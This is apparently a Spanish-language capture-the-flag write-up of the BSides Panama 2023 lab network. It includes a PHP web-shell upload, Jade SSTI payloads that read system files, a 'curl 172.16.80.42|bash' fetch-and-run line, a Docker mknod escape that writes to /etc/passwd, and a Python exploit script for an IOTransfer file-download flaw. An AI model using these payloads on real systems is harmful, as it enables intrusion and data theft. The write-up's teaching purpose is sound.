Bsides panama 2023

  • Bsides
  • Medium

Quiero dar un agradecimiento especial para Tiz <3 sin él este writeup no hubiera sido posible, dejo por aquí sus redes sociales.

Retos:

Topología de red:

Archivo de respaldo (WebServer):

Iniciamos el CTF, nos dan únicamente la VPN, así que nos toca enumerar la red en busca de targets, pero si nos fijamos en nuestra dirección IP la máscara de red es /30 por lo cual no tenemos vecinos para interactuar, pero si echamos un vistazo a los logs cuando nos conectamos con la VPN podemos ver una red diferente la cual es: 10.1.1.0 /24.

Teniendo esta red podemos empezar a buscar hosts con el siguiente comando:

sudo nmap -sP 10.1.1.1-255
  • -sp –> Habilita la función de pingsweep.

Podemos notar que encontró un host.

Manos a la obra, vamos a realizar un escaneo más profundo con el siguiente comando:

sudo nmap -p- --open -sS --min-rate 5000 -n -v -Pn 10.1.1.100 -oN target

Nos encontró los siguientes puertos:

Empezamos enumerando los puertos del servicio Web.

Utilizando el comando whatweb podemos ver que estamos ante un CentOS y más información sobre la página Web.

Investigando notamos que hay dos servicios Web en los puertos 80 y 65400.

Servicio Web en el puerto 80:

Al utilizar fuzzing contra esta página podemos encontrar un archivo notes.txt el cual contiene información que nos puede ser útil más adelante:

Y además encontramos una ruta /wordpress la cual contiene una página en WordPress.

Servicio Web en el puerto 65400:

Nos encontramos con una página normal.

Viendo la página Web encontramos un par de credenciales en un post.

Probamos las credenciales contra el panel de administración y estamos dentro como admin.

En la interfaz administrativa podemos subir una imagen para personalizar el perfil de los usuarios, pero al no estar bien sanitizado pudimos subir un archivo php malicioso y ejecutar comandos en la máquina.

El archivo que subimos fue el siguiente:

<?php system($_REQUEST['cmd']); ?>

Al abrir la imagen(que en realidad es el archivo php malicioso) y colocar ?cmd=whoami podemos ejecutar comandos y también ganar acceso al sistema.

Creamos un index.html en nuestra máquina de atacante para hacer la reverse shell.

Después compartimos el index.html con python3 y nos ponemos en escucha con netcat:

Ahora para obtener la reverse shell nos falta hacer lo siguiente:

Estamos dentro como www-data, hacemos tratamiento de la TTY y listo.

Enumeramos el sistema y con ss -nat nos damos cuenta de que hay un puerto que no podíamos ver desde el exterior, el cual es 8080, si nos recordamos antes nos dieron una pista de este puerto, la cual se encontraba en notes.txt.

Realizamos un túnel con chisel para tener acceso a ese puerto desde nuestra máquina.

En nuestra máquina lo ponemos así: (Servidor)

En la sesión de www-data lo ponemos de la siguiente manera: (Cliente)

Ahora nos dirigimos a nuestro navegador y podemos colocar 127.0.0.1:8080 y nos aparecerá el servicio que vimos en notes.txt.

Si le ponemos el argumento /?q= y otra cosa podemos observar que nuestro output se ve reflejado y podemos pensar en un ataque SSTI con lo cual probamos un 7*7 el cual vemos que es vulnerable a un SSTI tipo Jade (NodeJS):

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

Para probarlo más podemos utilizar el siguiente payload:

{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Y en efecto nos devuelve el /etc/passwd, pero no de la máquina en la cual tenemos acceso con www-data es otra máquina, investigando un poco más nos damos cuenta de que estamos ejecutando comandos en un contenedor, buscando cosas interesantes podemos encontrarnos con el backup.

{root.process.mainModule.require('child_process').spawnSync('cat', ['/root/backup.sql']).stdout}

Obtenemos la flag y un usuario y contraseña la cual son:

admin:3b6a852b7bbd6f493275248fd64c103974fc1bf4f40b3eeb6502a85ca43282f1

Decodificamos el sha256 y obtenemos lo siguiente:

admin:R@scal

Acceso usuario (WebServer):

Podemos utilizar estas credenciales para entrar al servidor por ssh.

Además podemos ver la flag:

Acceso administrativo (WebServer): (ruta alternativa)

Para la siguiente ruta alternativa necesitamos ganar acceso al contenedor docker, con lo cual tenemos que ejecutar el siguiente comando en la vulnerabilidad del SSTI que comentamos anteriormente.

{root.process.mainModule.require('child_process').exec('curl 172.16.80.42|bash')}

Tenemos que tener todo exactamente igual que cuando ganamos acceso con al WebShell.

Hacemos el tratamiento de la TTY y listo.

Estamos como root y en la dirección IP 172.17.0.2

Enumeramos el contenedor y encontramos que podemos utilizar la siguiente información para leer archivos del sistema como usuario privilegiado:

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_mknod

https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames (La parte de escalada de privilegios)

Podemos explotar la capabilitie mknod del contenedor:

En el contenedor ejecutamos lo siguiente:

cd /
mknod sda b 8 0
chmod 777 sda
echo "admin:x:1000:1000:admin,,,:/home/admin:/bin/bash" >> /etc/passwd
su admin --> Ejecutando este comando deberíamos pasar al usuario node
/bin/bash

En la máquina víctima como usuario admin ejecutamos lo siguiente:

ps -auxf | grep /bin/bash --> Para saber cuál es el PID.

Ahora que tenemos el PID en este caso 2676 nos falta obtener la flag:

grep -a "root -" /proc/2676/root/sda --> Nos da un error al rato de ejecutarlo y para evitarlo utilizamos lo este otro comando:

strings /proc/2676/root/sda | grep -a "root -"

Obtenemos la flag:

WordPress (WebServer): (ruta alternativa)

Hay múltiples maneras de obtener esta flag, pero se me hizo muy fácil de esta manera:

Tenemos acceso como root a mysql sin proporcionar contraseña:

mysql -uroot -p --> Cuando nos pide un password presionamos enter.

show databases; 

use wordpress;

select * from wp_posts where post_status='trash'; --> Podemos ver posts que han sido borrados.

En WordPress, la papelera se gestiona en la base de datos de WordPress, específicamente en la tabla wp_posts, cuando se elimina una publicación, su estado se cambia a papelera en la columna post_status de la tabla wp_posts, y permanece allí hasta que se elimine permanentemente o se restaure. La tabla wp_posts también contiene columnas para el título, el contenido, el autor y otra información meta de la publicación.

Podemos ver la flag:

Password.txt (WebServer2)

Para poder enumerar este host tenemos que hacer un reconocimiento de la red, ya que al parecer el sistema Windows estaba oculto en la red y no podíamos descubrirlo atrevés de ping, pero si pudimos encontrarlo gracias a los puertos.

Ahora que sabemos que dirección IP tiene podemos hacer un escaneo más profundo con nmap y podemos encontrar los siguientes puertos:

Empezamos enumerando el puerto 8080, y aplicamos fuzzing con el siguiente comando:

wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.1.1.150:8080/FUZZ

Después de esperar un buen rato podemos ver este directorio datos.

Esto es lo que contiene el directorio:

Buscamos en internet “iotransfer windows exploit” nos topamos con este artículo:

https://www.exploit-db.com/exploits/50974

Para analizarlo mejor nos dirigimos al GitHub que aparece para ver el código, en mi caso no sirvió por un problema de incompatibilidad con la librería win32com, así que revisando el código podemos extraer unas partes y modificarlas para poder descargar el archivo que queramos, aquí esta el código: (Funcional en Linux)

#!/bin/python3

import requests, json

remoteDownloadPath = r'C:\Users\frank\Desktop\password.txt'
IP = ""
localDownloadPath ="./password.txt"

def CreateDownloadTask(IP, Path) -> str:
    url = f'http://{IP}:7193/index.php?action=createtask'
    task = {
        'method': 'get',
        'version': '1',
        'userid': '*',
        'taskstate': '0',
        'filepath': Path
    }
    res = requests.post(url, json=task)
    task = json.loads(res.content)
    task = json.loads(task['content'])
    taskid = task['taskid']
    print(f"TaskID: {taskid}")
    return taskid

def ExploitDownload(IP, DownloadPath, ID=None):
    if ID:
        url = f'http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={ID}'
    else:
        taskid = CreateDownloadTask(IP, DownloadPath)
        url = f'http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={taskid}'
    res = requests.get(url)
    return 

if __name__ == '__main__':
        print(f"[*] Downloading the file: {remoteDownloadPath}")
        res = ExploitDownload(IP, remoteDownloadPath)
        file = open(localDownloadPath, "wb+")
        file.write(res.content)
        file.close()

Lo ejecutamos y obtenemos lo siguiente:

Acceso usuario (WebServer2):

Para poder interactuar con el RDP necesitamos hacer un port forwarding entre el webserver(10.1.1.100) y webserver2(10.1.1.150).

ssh admin@10.1.1.100 -L 3389:10.1.1.150:3389

Para conectarnos podemos utilizar: xfreerdp o remmina.

En este caso utilizamos remmina y le tenemos que habilitar que ignore el certificado autofirmado y poner el time out 60000 después de configurar esto podemos proporcionar las credenciales y estamos dentro del sistema como el usuario frank y podemos encontrar la flag en el escritorio.

Acceso administrativo (WebServer2):

Dentro del sistema enumerando un poco podemos notar que el usuario frank tiene permiso de escritura sobre el directorio xampp2(Está corriendo los servicios Web en los puertos 8080 y 8081), nos dirigimos al directorio C:\xampp2\htdocs\ y subimos una reverse shell para después ejecutarla desde la página web y si vemos quien la esta ejecutando es WEBSERVER\Administrator así que ya podemos buscar la flag del administrador.

Plataforma WEB (WebServer2) (ruta alternativa):

Nos conectamos en localhost al PhpMyAdmin y extraemos la flag que estaba en la base de datos.

Esto es todo el CTF de Bsides Panama 2023, tengo que decir que fue muy divertido y en donde aprendí muchas cosas.